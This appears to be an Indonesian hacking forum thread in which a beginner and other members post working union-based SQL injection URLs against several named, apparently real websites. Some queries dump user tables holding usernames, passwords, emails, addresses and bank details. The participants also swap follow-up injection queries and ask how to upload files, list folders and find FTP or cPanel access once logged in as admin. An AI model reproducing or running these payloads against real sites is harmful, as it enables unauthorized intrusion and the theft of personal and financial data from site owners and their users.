kaka kaka mohon bimbingannya dung......

terimakasih tuk semua member forum nich terutama tuk master zee_00n, salut tuk panduannya yang emang bener bisa dimengerti oleh new_bee atau pemula sekalipun.

akhiiiiiiiiiiiiiiiiiiiiiiiiiiiirrnya.... setelah lama muter-muter googling, cuma di forum ini wa nemukan keterangan yang menurut gw lengkap banget tuk bisa nerapkan teori hacking.... (berkat step-step master zee_00n, makasih banget.....)

trus,,,,,,,, akhir ceritanya,
nich kan new_bee, kemaren wa nyoba beberapa target, cuma akhirnya macet,, wakakakaka gak tau ngelanjutinnya gimana, login adminnya gak ketemu..... kasian dech gue belagu banget, nich w sertakan beberapa link yang wa sendiri bingung mau dilanjutin gimana..... hehehehe

1.
http://www.kfir.co.il/news.php?id=-23+union+select+1,2,3,4,5,6,group_concat
%28table_name%29,8,9+from+information_schema.tables+where
+table_schema=database%28%29--
2.
http://e-penyiaran.net/berita.php?id=-
13+union+all+select+1,2,group_concat(0x3a,User_ID,0x3a,
User_Password,0x3a,User_Description,0x3a,Is_Admin),4,5,6,7,8
+from+users--
3.
http://www.djfm.co.id/news.php?id=-109+union+all+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8--
4.
http://metroaktual.com/berita.php?id=-
1305+union+select+1,2,3,4,5,6,group_concat(0x3a,nomor,0x3a,tanggal,
0x3a,username,0x3a,password,0x3a,nama,0x3a,email,0x3a,telephone,
0x3a,alamat,0x3a,kota,0x3a,propinsi,0x3a,kodepost,0x3a,hits,
0x3a,usernamesponsor,0x3a,namasponsor,0x3a,bayar,0x3a,via,
0x3a,tanggaltransfer,0x3a,bank,0x3a,rekening,0x3a,atasnama,
0x3a,pesan,0x3a,konfirm,0x3a,user_cln,0x3a,pengelola,
0x3a,email_pengelola,0x3a,rekening_pengelola,0x3a,status_anggota,
0x3a,subyekmessage,0x3a,message),8,9,10,11,12,13
+from+daftaranggota--


mohon bimbingannya *.all members
- cara upload file ke domain target
- cara nampilkansemua folder target
*mohon maaf sebelumnya kalo ada kata yang tidak sopan+kurang berkenan

wadowwwwwwww,,,,
step 1 nya coba LOGIN kesalah satu web yang bisa kamu masuki sebagai admin,,,
step slanjutnya ntar gw blz dah kalo dah ada web yang bisa lo masukin ADMIN nya

terusin yang nomer 1 http://www.kfir.co.il/news.php?id=-23+union+select+1,2,3,4,5,6,group_concat%28column_name%29,8,9+from+information_schema.columns+where+table_name=0x6d656d62657273

thanks om zee_00n, tantangan nich, cari login pagenya yang agak kerepotan nich, new_bee banget


om Numlock tuh gak ketemu table loginnya ya.....


nich gmn sech................!!!
sqlnya pake versi jadul.....
http://www.mira.co.il/AyalaBar.php?catid=298+union+select+1,concat(version(),user(),database()),3,4,5,6,7,8--

gak usah repot repot kalo gak ketemu tinggalin ajah

@zee_00n
ketemu satu nich om .....
http://www.indiacare.it/azienda.php
---> Searc kata "bobrok"

nemunya disini
http://www.indiacare.it/news.php?id=-47+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,group_concat(0x3a,username,0x3a,password,0x3a),18,19,20,21,22+from+india_utenti--

kalo udah login sepertini tuk cari akun ftpnya gimana

kalo maw ambil ftp biasanya ada di target.com:21 ataw :22
cpanel biasa di :2082

ane gk liat tuh.. berhasil login